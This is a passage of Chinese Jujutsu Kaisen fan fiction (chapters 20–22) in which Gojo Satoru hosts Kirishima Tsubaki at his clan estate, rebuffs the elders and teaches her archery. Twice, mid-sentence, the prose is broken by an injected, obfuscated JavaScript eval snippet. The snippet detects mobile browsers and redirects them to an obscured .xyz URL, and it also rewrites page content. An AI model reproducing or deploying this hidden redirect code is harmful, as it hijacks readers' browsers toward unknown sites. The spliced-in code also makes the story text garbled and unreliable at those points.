高专的热闹、五条悟平时的吵嚷、恶作剧时嚣张的笑脸还有撒娇时的黏黏糊糊……仿佛都被隔绝在了另一个世界。 巨大的、令人难以忍受的无聊和空虚感,如同潮水般重新涌上,比以往任何时候都要强烈。 她站在原地,沉默了几秒。意识还在向前走,但和服包裹下的双腿却一动也不动,就像是一种来自动物的直觉,前方有着她挣脱不了的囚笼在等着她。 脑子里有个声音一直在劝导她,别进去。 然后几乎是下意识地,她拿出了手机,指尖在冰冷的屏幕上滑动,找到了那个显眼、吵闹的名字。 电话只响了一声就被接起了。 “摩西摩西~椿?这么快就想念最强的我了吗?”五条悟那永远精力过剩的声音从听筒里传出来,背景音似乎还有陌 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他飞快地说了一大串,像是那个极力推销自家房子的房产中介,又像在为谁做掩护一样。 雾岛椿听着他的碎碎念,轻笑一声,“那就要麻烦悟了。” “小问题!”他的声音立刻恢复了那种轻快的、仿佛什么都不在乎的语调,“地址发你!直接过来就好,我和门房说一声~对了!记得给我带那家‘喜久福’的新品!就当住宿费了!” 他语速极快地报上了一串地址,甚至没给她反悔或犹豫的时间,就像处理一件再平常不过的小事。 “那就这样!快点来哦!新品卖完了我可要翻倍的住宿费!”他嚷嚷着,不等她回应就挂断了电话。 电话忙音响起。 雾岛椿放下手机,看了一眼窗外——月光皎洁,星河清晰,没有一丝要下雨的痕迹。 她沉默地站了一会儿,然后开始简单地收拾几件衣物。动作不紧不慢,仿佛只是要出一趟寻常的门。 当她拎着一个小包,再次走过那片狼藉的客厅时,脚步没有一丝停留。 那栋空旷、冰冷、弥漫着腐朽和回忆气味的宅子,被她干脆利落地抛在了身后。 锁上门的那一刻,她甚至没有回头看一眼。 也不知道为什么,明明之前夜蛾想要提前接她去高专时,她拒绝了。 她选择留在自己那个唯一一个被保存完整的房间里,即便依然每晚都睡不着觉,整天无所事事,她也没想过踏出房门一步。 在贪念什么呢? 她也不太清楚。 她只知道,以前那个让她不愿离开的地方,现在在里面多呆一秒都让她难以忍受。 她想要逃离。 想要去到更热闹的地方。 想要……去到他的身边。 夜风微凉,吹在她脸上,带着自由的、陌生的气息。她拦下一辆出租车,报上那个地址,然后对司机说: “麻烦稍微绕一下路,去一趟仙台喜久福。” 20.帅气 车子原本的速度慢了下来,一座庞大的建筑群蓦然压入视野。 那不是宅邸,更像是一头匍匐在山影中的巨兽。一道无形的巨大结界笼罩其上,咒力如活物般缓缓流转。 气势恢宏、却也透着陈旧压抑的气息。 这就是五条家。 雾岛椿走下出租车,手里小心翼翼地提着那盒精心包装的仙台喜久福。 几乎是下意识的,她闭着眼睛轻轻感受着结界上庞大的咒力流动。 是浓郁的、熟悉的、令人安心的气息。 “请止步。前方是五条家私人领域,请表明您的身份与来意。” 雾岛椿站在原地,看着面前穿着传统服饰的两位护卫。他们眼神锐利,感觉像是等级不低的咒术师。 面对他们的质问,她什么也没说,只是站在原地,像是在等待着什么。 两位护卫能隐隐感觉到从眼前这位少女身上传来的压迫感,她不说话,他们也有些忌惮,于是只能面面相觑,似乎在用眼神交流着要不要上报。 僵持了没一会儿,一个身影几乎像是算准了时间,以一种看似散漫的方式,从门内晃了出来。 倾斜而下的光线勾勒出那人挺拔的身形。 是五条悟。 两名护卫首先看见的是少女嘴角上扬的弧度,其次感觉到的便是巨大的、熟悉的压迫感。 他们像是练习了千百遍一般,转过身低头齐声道,“悟少爷。” 五条悟穿着一身纯白弓道服,宽大的袖口和裤腿在夜风中微微拂动,少了几分平日的嘻哈随意,多了几分清冽的肃杀之气,仿佛刚从古卷中走出的贵公子。额前的白色碎发似乎被汗水濡湿了几缕,随意地搭在额角。 那副标志性的小圆墨镜依旧懒洋洋地架在鼻梁上,但他嘴角勾着的那个惯有的、略带戏谑的弧度,却与这身装扮形成了一种奇特的张力。 真是一张俊美而带有少年气的脸,将桀骜和稚气融合的恰到好处。 雾岛椿几乎无法将视线从他身上移开,这是她从未见过的装扮。 “哟~” 他发出一个轻快的音节,视线却像被最强的磁石吸引,第一时间就精准无比地锁死在她手中那个印着“喜久福”logo的纸袋上。 他长腿一迈,几步就跨到她面前,非常自然、甚至带着点理直气壮的“收缴”意味,从她手里“接”过了那盒甜品。动作行云流水,仿佛这是天经地义的交接仪式。 “嗯嗯,不错不错。”他掂量了一下纸袋,语气里满是“我对你的住宿费超满意”的得意。 雾岛椿看着他满意的样子,忍不住问,“悟不是说派门房出来接我吗?” “啊,因为我正好有空,就掐着点直接过来了。”五条悟下意识回道。 回答完他像是突然意识到什么,立马撅着嘴,一脸委屈地控诉,“欸——?难道椿不想让我来接你吗?椿讨厌我吗?” 雾岛椿看了看他身上还没来得及换的弓道服,暗自发笑,这看着根本不像是“有空”的样子吧。 “没有,悟为什么会这么想?难道是我做了什么让你误会的事吗?”雾岛椿也摆出一副有些委屈又有些抱歉的样子,用魔法打败魔法。 没想到椿会学着他的方式来反击他,五条悟撇了撇嘴,嘟囔着,“没意思。” 他一边抱怨着,一边已经转过身,用提着喜久福的那只手对她随意地勾了勾手指,示意她跟上。 “跟紧点哦,椿。我家这路修得比夜蛾的脑筋更迂回曲折,走丢了我可不一定能找到你。” 雾岛椿刚踏出一步想要跟上去,又没忍住停顿了一下。 她侧身,像是刚看见两个守卫一样,微笑着脸,语气舒缓又温柔,“守卫很森严呢,辛苦了。” 说完,她便抬腿追上去,直到与五条悟并肩。 徒留两个守卫站在原地,一脸雾水地望着她和五条悟并肩的背影。 他们两个对望了片刻,心里只剩吐槽:这是在演什么?明明刚刚还把他们当空气! 不会是故意说给悟少爷听的吧! 然而并没有人会在意他们的吐槽。 五条悟敏锐地察觉到雾岛椿的目光总是不经意间在他身上停留,于是他很臭屁地问道,“怎么?椿是不是觉得今天的我格外帅气?” 他又开始散发魅力了,眼里冒着星星,真的很像小孩一样,爱听别人的夸奖。 但他总是会给满情绪价值,让人不由自主地想要夸奖他。 “不。”雾岛椿很罕见地摇了摇头。 “欸——?!你一定是骗人的吧!” 果不其然,话音刚落就传来了五条悟熟悉的不满声。 他看起来很失落,但表情却很滑稽,一点也不会让人因为对他说了“不”而感到负担。 不想再看到他失落的表情,哪怕只是伪装的。于是她收起了自己的恶趣味,对着他说,“因为今天的悟很‘新鲜’。” “新鲜?”五条悟对这个词感到不解,“椿你老实说——” 似乎是联想到什么,他头微低,凑近雾岛椿,双手轻轻捏住她的肩膀,非常认真地问,“你其实是饿了吧?想吃海鲜?” 此话一出,雾岛椿几乎要憋不住笑,看来两个人的脑回路似乎并没有成功连接在一起。 “是因为平时的悟也一直都很帅气啦,但今天的悟不太一样,所以很新鲜。” “……” 五条悟收回了手,五条悟站直,五条悟不自觉地摸向自己的后脑勺。 “……啊、啊,当然,我本来就是一直都很帅气。”他看起来似乎被夸得不好意思了,却还要强撑。 雾岛椿抬眼,刚想要说什么,却被五条悟打断。 “肯定是因为今天穿的不太一样吧,肯定是,所以椿你肯定也很好奇我为什么穿对吧?”他语速极快,眼里写着“快问我快问我”。 一种极其拙劣的转移注意的方式。 于是椿顺着他的意思问:“悟,是在练弓道吗?” “昂~”五条悟发出一声慵懒的鼻音,算是承认了,语气听起来又回到他的舒适区,“五条家的老头子们嘛,迂腐得很,什么陈年旧规都要塞给我。” “你不想学的话,他们也强迫不了你吧。”雾岛椿平静地指出事实。 以他的性格和能力,没人能真正逼迫他做任何事。 “那是当然~”五条悟哼笑一声,语调扬起,带着他特有的、理所当然的嚣张,“大部分无聊的东西都被我扔回去了。不过嘛,偶尔也能碰到一两个感兴趣的,就当解闷喽。” 他说得轻描淡写,仿佛千年古老家族在他眼里也没什么不同。 就在她们聊天的同时,门廊阴影处,几位穿着传统和服、气息沉郁如古井的老者如同早已等候多时的幽灵,悄然现身。 他们的目光先是落在五条悟身上,带着一种混合着敬畏与头痛的复杂情绪,随即锐利地刺向他身后那个安静得几乎没有存在感的少女。 “悟少爷。”为首的老者微微躬身,声音平稳恭敬,目光谨慎地掠过他身后的身影,“这位小姐是……?” “我的同期啦,雾岛椿。”五条悟答得轻快,脚步未停,像是要带着人直接穿过这肃穆的回廊,“来借住几天。” “雾岛……?”另一名老者低声重复了这个姓氏,眼神里闪过一丝不易察觉的审视与困惑。他并未表现出任何失礼,只是态度愈发谨慎,甚至带上了几分不易察觉的疏离。 “悟少爷的客人,自然欢迎。”为首的老者开口,用词极其考究,“只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511330|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是本家宅邸规制古旧,多有禁忌之所,恐不慎冲撞了客人。是否需要安排专人随行引导,以免雾岛小姐误入不便之处?” 雾岛椿听出了他的言外之意,并且从他们的态度中感受到了极大的身为贵族与生俱来的独特的傲慢。 看不起她吗? 这好像才符合御三家的作风,在他们眼里,像她这种普通人家出生的人,不值得放在眼里。 甚至都不需要探测她的实力,仅仅因为一个身份,就在初次见面时,将她牢牢拦在五条家那堵隐形的屏障外。 她侧过头,视线轻轻落到五条悟身上。 五条悟的脚步停下了。 他转过身,小圆墨镜滑下少许,苍蓝色的眼眸在镜片后瞥向说话的老者,嘴角咧开一个极度嚣张的弧度。 “哈?‘不便之处’?”他仿佛听到了什么有趣的笑话,声音扬高,带着刻意的不耐烦,“是说那些动不动就要我去加固的结界?还是那些锁得严严实实、结果出了事还得第一个打电话叫我的仓库?” 老者的身体几不可查地僵硬了一瞬。 五条悟完全转过身,双手插在口袋里,用一种居高临下的、看麻烦一样的眼神看着他们。 “拜托——很烦欸!我带个朋友回来打游戏而已,你们也要围过来啰啰嗦嗦地念经吗?”他拖长了语调,语气里的嫌弃毫不掩饰,“她是我的客人,当然是由我来安排。你们那些宝贝疙瘩地方,求我们去我们都懒得去,好吗?” 他歪着头,墨镜后的目光充满了戏谑的挑战意味,“还是说,你们其实很担心没有专人盯着,她一个人就能把你们那些‘机密’都翻出来?不会吧不会吧?五条家的防御就这么儿戏吗?” 三位老者的脸色变得有些难看,嘴唇嗫嚅着,却吐不出一个有力的音节。五条悟的话像一根根尖刺,精准地扎在他们最无力反驳的点上——他们既无法承认家宅防御形同虚设,更无法承受质疑五条悟带来的后果。 五条悟根本不等他们回答,立刻又换上了一副“真拿你们没办法”的敷衍表情,随意地挥了挥手。 “好了好了,知道你们很尽职啦~但真的很吵欸。没事了就散了吧,我们还有事要忙,很重要的事哦!” 说完,他根本不再理会他们的反应,重新揽过雾岛椿的肩膀,瞬间恢复了兴高采烈的语气,“走走走椿!我新买的游戏超——有趣的!才没时间浪费在这里听老头子们说教呢!” 他几乎是推着雾岛椿离开,留下身后三位面色青白交错、一口气堵在胸口吐不出来又咽不下去的老者。 即便五条悟的语气并没有多严肃,反而更像是在闹脾气。但这一次,三位长老却清晰地感受到了一种与往日截然不同的压迫感。 以往,五条悟的不满更像是一种令人头疼的、孩子气的、完全无法预测的绝对任性,虽然麻烦,但尚在“自家任性孩子”的范畴内。 而方才那短短几句话里,却蕴含着一种冰冷的、绝对强者的睥睨与威慑。 那是一种基于绝对力量的、不容置喙的宣告。 而这一切,竟只是因为一个外人,一个来自普通家族的少女。 几句话让长老们心里产生了自家孩子胳膊肘往外拐的荒谬感—— 雾岛椿,到底哪里值得悟少爷如此对待? 处于矛盾中心的少女,沉默地跟在五条悟身侧,将刚才那短暂的交锋尽收眼底。 她清晰地看到,那几位老者低垂的眼帘之下,掩藏着的并非被冒犯的愤怒,而是一种更深沉的、几乎化为实质的无力与惶惑。 雾岛椿收回目光,心里大概能猜到他们此刻在想些什么,正巧,她也有一样的想法: 五条家的长老们是怎么厚着脸皮待在五条悟身边的?弱的彷佛一只手就能捏死。 21.弓道 雾岛椿静静地跟在五条悟身后,她抬起眼,目光极轻地落在五条悟宽阔挺拔的背脊上。那目光依旧缺乏温度,却似乎凝聚起了一点极其微弱的焦点。 直到此刻,她才恍然意识到,五条悟的身形原来如此高大。 当他收敛起所有嬉笑闹腾,沉默地立于前方时,一种无形却切实存在的威压便会自然而然地弥散开来。原来他真正不悦时,所带来的压迫感竟如此慑人。 不喜欢她又如何,比起她,他们好像更让五条悟讨厌。 也就只能委屈他们把对她所有的意见统统吞进肚子里了。 意识到这一点的雾岛椿嘴角极其轻微地向上弯了一下,眼中沉淀许久的冰封之下,似乎有一丝极细微的、连她自己都未曾察觉的异样情绪,悄然流转而过。 所以…… 咒术界封建贵族中的那一股清流不是五条家,而是五条悟。 想到这里,她突然开口。 “悟。” “嗯?” “你好像有点反常。”此刻的雾岛椿心里痒痒的,忍不住想逗他。 “哈?”五条悟脚步一顿,猛地回头,墨镜滑到鼻尖,苍蓝色的眼睛里写满了“何出此言”的惊奇。 “刚刚,是在帮我解围吧。”她的语气很确定。 “什么啊……你想多了!”白毛少年就像被戳中心事一样,身上那股威慑感褪去,掩盖性地举起手抓了抓头发,“我只是觉得他们太啰嗦了而已,才不是为了你。” “但你并不是一个会用身份和地位威压别人的人。” 一直以来,他从来没在任何人面前提起过他是五条家家主的事情,甚至,连五条家都很少提起。 “这是在夸奖我吗?”五条悟闻言,像是听到了什么有趣的话,他嘴角带着得意的笑,煞有其事地点点头,“如果是的话我就勉强接受啦!” “这是事实。”雾岛椿淡然一笑,突然提起,“说起来,悟开学那天,慌慌张张的样子是为了躲五条家吧。” “是啊,超~烦的!”五条悟想起那个场景,嫌弃地说,“一群人非要搞什么隆重的护送,还要拉横幅!‘恭喜悟少爷入学’?土死了,我才不要那样的排场,而且肯定会被你们笑话的!” “绝对!所以我就提前甩掉了。” 即便不同意五条悟入学高专,也还是要风风光光地送他入学吗? 雾岛椿想象了一下那个画面,忍俊不禁,“其实……还挺有趣的。” 正因如此,她才会说他不是这样的人。 虽不喜五条家的迂腐陈规,但他更偏爱用各种离经叛道、耍赖撒娇、甚至直接玩消失的方式来进行他迂回而任性的反抗。 那是独属于五条悟的、孩子气却有效的反抗方式。 一种不会显得自己很高高在上的、亲近如普通人的方式。 真是越了解他,就越能给人带来惊喜。 在这样极度宠爱并且等级森严的封建贵族中,成长起来的却是一个张弛有度、心思细腻、不喜欢让人有负担的少年。拥有极致的力量却诞生了一颗珍贵的平常心,这或许比他所有的术式,都更为惊人。 没有大少爷的傲慢,不接受任何的规训,挣脱了世俗的框架,回归到最本真的自我,最后—— 成为了五条悟。 从而成就了一个真正自由的、有趣的灵魂。 这才是她的目光迟迟无法从他身上移开的真正理由。 以前的她每时每刻都被社会规则、他人眼光、自身能力所限制,从而活在很多“不得已”中,所以,她才会被这样耀眼的五条悟所吸引。 “哪里有趣了?” 五条悟嘴里不满地嘟囔着,径自带着她穿过层层回廊,最后来到一处雅致却略显偏僻的侧院。 “喏,这里他们一般不过来,烦不到你。”他拍了拍手,像是完成了一件大事,“缺什么直接用咒力敲一下这个。”他伸手给了她一个小巧的铃铛状咒具,“我会听到。” 雾岛椿细细观察着手里的铃铛,外表很精致小巧,顶端被两根红色丝带像藤蔓一样缠绕着。 轻轻拨弄,并没有发出铃铛该有的声音。 这是……只有注入咒力才能敲响的铃铛,是一个高级咒具,并且是和她送给五条悟那个墨镜同等级别的咒具。 他还真是,一点亏也不让别人吃啊。雾岛椿无奈地感叹。 见她接过,五条悟转身就要走,似乎打算继续回去练习弓道,毕竟他身上那身纯白的弓道服还未换下,束袖的纽扣甚至都还严谨地系着。 就在他转身的刹那,雾岛椿极轻地开口,声音依旧平淡,却似乎不再是完全的虚无,裹着一丝极细微的、难以捕捉的期待。 “悟。” “嗯?”五条悟闻声回头,墨镜后的眉毛微微挑起。 “你不是说,要带我玩游戏吗?”雾岛椿仰起脸,唇角弯起一个清浅却真实的弧度。 “啊,那个啊!”五条悟像是才想起来,随意地挥了挥手,“游戏机和盘都塞你房间里了,你自己先去玩着。我还得回去再练一会儿,今天的练习量还没达标呢。” 雾岛椿几乎是没有任何迟疑地接话,语气自然得像是在说今天天气不错,“我可以去看吗?” “哦?”五条悟脸上瞬间浮现出他特有的、带着点玩味和夸张的戏谑表情,他微微俯身,凑近了些,仿佛发现了什么新奇事物,“怎么?椿也对这种老古董的运动感兴趣了?” 雾岛椿点了点头,目光落在他一身利落的弓道服上,语气诚恳,“嗯,感觉很酷。” “很酷”这两个字像是瞬间按下了五条悟身上的某个开关。他几乎立刻自动在脑内完成了逻辑转换——椿说弓道酷 ≈椿在夸我穿弓道服很酷 ≈椿在夸我本人超酷! “哼哼~”他得意地哼笑两声,毫不犹豫地摘下了小圆墨镜,露出一双熠熠生辉的苍蓝色眼眸,甚至还特意摆了个略显浮夸的姿势,大大方方地展示着自己挺拔的身姿,“那当然!主要是因为练习的人够帅!” 自卖自夸完毕,他重新戴好墨镜,用一副“真拿你没办法”的施舍语气说道,“既然你这么想看,那就勉强准你旁观吧~不过先说好,”他伸出食指,故作严肃地晃了晃,“到时候要是觉得枯燥无聊想临阵脱逃,我可是不会放人的哦!” 雾岛椿摇了摇头,声音不大却异常清晰,“不会枯燥的。” 她顿了顿,抬眼对上他那副“快继续夸我”的期待表情,难得地顺着他的调子,带着一丝几不可察的调侃轻声道: “毕竟,全能的悟在弓道上也一定是全能的,一定会超级帅气。” “那是当然!!”五条悟立刻被这句精准投喂的“奉承”取悦,尾巴几乎要翘到天上去,他心情极佳地再次勾勾手指,“跟紧点喽,特等席只开放这一次~” 五条悟领着雾岛椿穿过几条回廊,来到一处极为开阔的露天弓道场。场地铺着洁净的白沙,在刺眼的光线下泛着温暖的光泽,远处箭靶的黑影静静伫立,氛围肃穆而宁静。 “哦——就是这里了,”五条悟低头看向身边的少女,向前几步拿起摆放在墙边的弓,豪迈地递了过去,勾起唇角向她发出邀请,“椿要试试吗?” 雾岛椿看了看他手里的弓,摇头拒绝道,“不了,我不会。” 五条悟被拒绝也没再接着问,而是一脸果然如此的表情,“其实,椿就是特意来看我的吧。” 想法被戳穿,椿并没有反驳,反而说,“对啊,所以你要拿出全部的实力,要让我看个爽才行!” “哈?”五条悟拿出箭,一脸自信,“可别小看我啊,就算只用我实力的的五分之一,也足够了。” 话虽如此,但他的行为和话语显然不相符合。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522529|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 五条悟踏上射位,原本周身那股玩世不恭的气息瞬间收敛。 他调整呼吸,身姿如松,挽弓搭箭的动作流畅而标准,带着一种古老仪式般的庄重感。白色的弓道服在风中微微拂动,更衬得他身姿挺拔,竟有几分不食人间烟火的清贵之气。 咻——! 箭矢破空,带着凌厉的气势,精准无比地没入远处的靶心。 紧接着,第二箭,第三箭……箭无虚发,皆正中红心。 雾岛椿安静地站在一旁阴影里看着。 她知道,他这一连串标准到堪称范本的动作里,多少存了点故意耍帅的心思。可即便如此,她还是不由自主地被吸引了目光。尤其是他引弓专注凝视前方的那片刻,眉眼间褪去了所有戏谑,只剩下全然的沉浸与认真,那种近乎虔诚的专注力,是她极少在他身上看到的。 “怎么样?是不是完美得不像话?”他几乎是射完最后一箭的瞬间就转过了头,脸上那点装出来的严肃瞬间垮掉,换上了“快夸我快夸我”的得意表情,墨镜滑到鼻尖,苍蓝色的眼睛眨呀眨,像个迫不及待展示新玩具的大型犬。 “我可是连这种老古董玩意儿都能玩成艺术的人哦!” 他似乎很愉悦,对着一旁的少女粲然一笑。 雾岛椿怔愣一瞬。 直到五条悟嘚瑟地凑到她面前,大手在她眼前胡乱晃悠,拖长了调子嚷嚷,“喂喂~回神啦椿!被我的帅气迷晕了吗?” 她猛地回过神,脸上不见丝毫羞赧,反而顺势迎上他那双亮得过分的苍蓝色眼睛,语气平淡地抛出请求:“悟,可以教我吗?”她顿了顿,声音里掺入一丝极细微的、恰到好处的低落,“以前没玩过这个,多少有点遗憾。” “OK~完全没问题!”五条悟答得飞快,尾巴几乎要翘到天上去,脸上写满了“包在我身上”的张扬,“悟氏独家教学,保管让你学完立刻变得跟我一样酷毙了——!” 他兴致意外地高昂,看来并不觉得麻烦。雾岛椿心想。 五条悟长腿一迈,从架子上随手捞起一把和弓,递到她面前,墨镜后的眼睛弯起,带着点不怀好意的狡黠,“来来,先射一箭看看水准~让我看看从哪里开始教比较好嘛!” 显然没想到他会提出这样的要求,雾岛椿一时不知道该怎么回答。 毕竟她撒谎了,其实她以前学过,而且还非常精通。 雾岛家以前有位死对头,世仇,祖祖辈辈都在暗中较劲,实力不相上下,到她父亲这辈家族渐渐没落,雾岛家从此被踢出比赛。 只剩下她父亲还不愿意接受现实,一直暗中较劲,其中就包括逼着她学习弓道,只为在每年与死对头那家精通弓道的“才女”的可笑比拼中,勉强维持雾岛家摇摇欲坠的颜面。 她很有价值,至少很多次都没让雾岛家丢脸,但赢得了第一不会有奖励,可要是比赛途中发病导致输了的情况,那她将迎来严厉的苛责和永无止境的“不够好”“废物”。 她不喜欢弓道,毫无乐趣可言。 但看着眼前的白毛少年在场上神采奕奕的样子,她又重新好奇起来。 她想要重新学一遍。 她想要体会五条悟的乐趣。 “可是我连基础都不会,必须要先试试吗?”雾岛椿尝试为自己争取。 她也不知道自己为什么撒谎,她只知道如果自己同意“先射一箭看看水准”这个要求,那她撒的慌一定会被五条悟识穿,没有人能逃过他的捕捉。 “欸——?!不可以啦,一名优秀的老师往往都懂的因材施教,你不先试试我怎么知道最适合你的教学方法是什么,你说是吧?” 他说的很有道理,表情也没有问题,但椿就是有一种不妙的预感,可她已经没有借口可以用来推脱。 雾岛椿几不可察地停顿了一瞬,随即自然接过,“好啊。” 22.枷锁 就在她手指触及弓身的刹那,五条悟脸上那副玩世不恭的笑容僵了一瞬,果然和他猜想得差不多。 「六眼」捕捉到的信息如潮水般涌来——她接弓时手指下意识扣住的精准位置,肩膀下沉的微妙角度,双脚重心分配的本能调整,甚至是为了掩饰熟练而刻意放慢的呼吸节奏…… 所有这些细节都在无声地尖叫确认一个事实:她绝对碰过弓,而且水平相当不赖! 嗯哼,真是相当有意思。 雾岛椿依言举弓,刻意模仿着新手的笨拙,动作放慢,甚至故意让指尖带上一点不易察觉的颤抖。引弦,开弓——箭矢离弦而出,“恰到好处”地偏出了靶心好几环。 “啊……失败了。”她轻声说,语气里带着精心调配的失落,抬眼望向他时,眼里盛满了“接下来就拜托你了”的希冀光芒。 五条悟安静了足足一秒。 诚然,技术烂是装的。但…… 心里涌上一股奇怪的感觉,甚至超越了「六眼」的识别,在无比清晰地告诉他——她想让他教她。这份期待,真实不虚。 虽然完全搞不懂为什么她要绕这个圈子,但这份心情倒是直白的可爱。 这让他情不自禁地想要配合她。 顿了几秒,五条悟忽然爆发出极其夸张的大笑,毫不客气地拍着腿,“噗哈哈哈哈——!椿!你这技术真是烂得清新脱俗啊!原来还有天赋怪搞不定的事情哦!” 他笑得东倒西歪,像是发现了什么惊天大秘密,但灿烂的笑容里却不见丝毫嘲讽,反而透着一种“抓到你把柄了哦”的亲密感。 “不过——!”他笑够了,猛地凑近她,墨镜滑下鼻梁,露出那双闪烁着恶作剧光芒的蓝眼睛,信誓旦旦地宣布,“这都是小问题啦小问题!经过我亲手调教,你绝对能脱胎换骨!毕竟我是最强的嘛!” 他还是这么自信又臭屁。 不过,目的达到了。 雾岛椿垂下眼睫,掩去一丝笑意,“那就全部交给你了。” “好说好说~”五条悟自然地晃到她身后,并没有贴得太近,但存在感极强。 他清了清嗓子,摆出一副煞有介事的教练模样,指挥道,“首先,笨蛋学生一号,脚分开站稳啦!这么晃怎么射的中靶子?又不是在跳草裙舞!” 他的指导词一如既往地欠揍,却又精准地点出要害。他没有亲手去纠正她的姿势,只是隔空用手指点着,“手!抬高点!没吃饭吗?” “肩膀放松啦!绷得跟石头一样!” “眼睛!看前面!靶子又不会跑掉!” 他的声音吵吵嚷嚷地响在耳侧,温热的气息偶尔拂过她的发梢。雾岛椿依着他咋咋呼呼的指令调整着早已熟悉的动作,能清晰地感受到他目光的落点,那目光锐利得仿佛能穿透所有伪装,却又体贴地选择了看破不说破。 有点太刻意了啦,有种巴不得立刻告诉她“我已经看穿了你的伪装,现在只是在极力配合你”的感觉。 不过,这样也很好。 这种心照不宣的默契,像一根细微的羽毛,轻轻搔过心尖,带来一种陌生而微痒的悸动。 五条悟看着她明明会却要努力装不会的侧脸,墨镜后的蓝眼睛笑得弯弯的。 真好玩。 秘密需要土壤,需要深厚而肥沃的土壤,藏起来,不见光日。而他此刻很乐于浇灌,也能轻而易举地察觉到—— 眼前的少女说自己不会弓道是假,但隐藏在谎言下的那颗时时刻刻都在呼喊着需要他的心,是真。 被一个人如此热烈地需要着,就算是再迟钝的人,也不可能一点也意识不到吧?但他并没有感觉到负担,反而觉得,这是比一百盒喜久服更甜、更有趣的事。 他很乐于细心呵护这颗名为“秘密”的种子,观察着它的成长,静静等待它破土而出的那天。 所以,比起探究这拙劣表演背后的缘由,他想,守护当下她那份流露真心的笑容,会更有趣。 天色在不知不觉中染上暮色,弓道场内的光线变得柔和而朦胧。 “咻——” 箭矢破空,这一次,雾岛椿不仅没有脱靶,甚至还稳稳地射中了八环。她几乎是下意识地就转头看向五条悟的方向,脸上绽放出一种与平日清冷截然不同的、几乎要溢出来的明亮喜悦。 发现五条悟正看着自己,她立刻举起了手中的弓,像个讨要糖果的小孩一样朝他用力挥了挥,笑容变得更加灿烂夺目,仿佛在无声地喊着,“快看!我做到了!夸我!” 等等。 五条悟墨镜后的眉毛挑了一下。 这家伙明明随随便便就能射中十环,现在却为了一个区区八环高兴成这样?这是什么新型的快乐密码吗? 虽然完全无法理解这有什么好高兴的,但或许,她只是想要一个夸奖而已。 于是,他极其配合地咧开一个大大的笑容,伸出大拇指,给她比了一个夸张无比的、充满五条悟风格的赞。 就在这时,雾岛椿眼角的余光瞥见弓道场的入口处,早上见过的那位五条家的老者不知已静立了多久,正沉默地看着他们。 是来监督悟练习的吗? “悟、悟少爷。”老者苍老的声音响起,打断了场内轻松的氛围。 “您就……这么喜爱弓道吗?甚至为此耽搁了今日的茶道修习。”老者的语气里听不出责备,反而带着一种复杂的、近乎纵容的无奈。 “啊——?你怎么还在这里啊?”五条悟立刻垮下脸,毫不掩饰自己的不耐烦,像只被扰了兴致的猫,语气臭屁又直接,“啰啰嗦嗦的,烦死了。” 然而老者面对这堪称无礼的回应,脸上却没有丝毫愠怒,反而像是早已习惯了千百遍,甚至继续好声好气地劝道,“悟少爷,您吩咐准备的甜品已经送到您房间了。只是……” “只是什么?”五条悟打断他,眉头皱起,一副“有话快说”的拽样。 老者斟酌着用词,语气小心翼翼到了极点,“只是您这样……大量地摄入糖分,终究于身体无益。是否……或许……可以稍加节制一些?”他脸上那苦口婆心的表情,几乎能称得上恳求了。 然而五条悟根本不吃这套:“啊啊啊啊!又来了又来了!”他夸张地抱着脑袋,声音里充满了被念经的痛苦,“都说了别管我了!你们是复读机吗?每天都要啰嗦一亿遍!耳朵都要起茧了!” 每天? 雾岛椿微微一怔。原来这种对话是日常吗? 看着眼前这诡异却又莫名和谐的互动,她若有所思。 有点关心,但不多,明明最好的关心应该是帮助五条悟解决堆积过多的任务和缓解那永不停息的“六眼”带来的灼烧,而不是在这里唠叨他摄入了多少糖分。 对此,她感到矛盾。 在五条家悟可以随心所欲,这里没有人会因为他不小心破外了房屋而指责他,没有人会觉得他出言不逊,也没有人能限制他的穿着。比起担心这些,他们似乎更担心悟会被人抢走。 所以,为了留住他,他们给了悟力所能及的宠爱。 但好像他们能给的东西,有很多都是五条悟不想要的。 甚至都说了不想要,还会尝试硬塞,即便总是因为坳不过他而妥协,却很少能够真心理解他的做法,去窥探他的本心。 或许,是实力带来的差距太大,又或许,是因为内核的“善”和家族的“利”之间存在的根本冲突。 “好了好了!知道了!”五条悟像是再也忍受不了一秒,一把拉过还在发愣的雾岛椿的手腕,对着老者不耐烦地挥挥手,仿佛在驱赶什么似的,“我和椿要去打游戏了!你也赶紧该干嘛干嘛去!别再跟着我了!” 说完,他根本不等对方回应,拉着雾岛椿就风风火火地朝另一边走去,嘴里还嘟囔着,“真是的,一个比一个啰嗦……我特意吩咐的甜品都要不新鲜了!” 五条悟并没有立刻带着雾岛椿回房间打游戏,而是穿过几道回廊,径直走向靠近道场的一处汤屋。 “悟,这好像不是回我房间的路径吧?” “昂,椿练习了那么久,不觉得身上有些粘腻吗?”五条悟随口说,“带你来清爽一下,才能更舒服地玩游戏。” “放心,这里并不是客用的浴场,而是专属于我的地方。” 听他这么说,雾岛椿才发现这里的入口守卫森严,他们低着头,或许是在发现五条悟身影的那一刻,身体就已经弯了下去,她甚至没有看清他们脸的机会。 直到真正走到他们面前时,才听见他们的声音,“悟少爷。” 五条悟什么都没说,带着雾岛椿直接走了进去。 “是因为悟需要每天练习弓道的原因吗?” “嗯……也不是啦,我都是想练什么就练什么的,弓道什么的,哪天没有兴趣了,就会被我扔在一旁。” 五条悟语气轻松,但雾岛椿却感觉心里一颤。 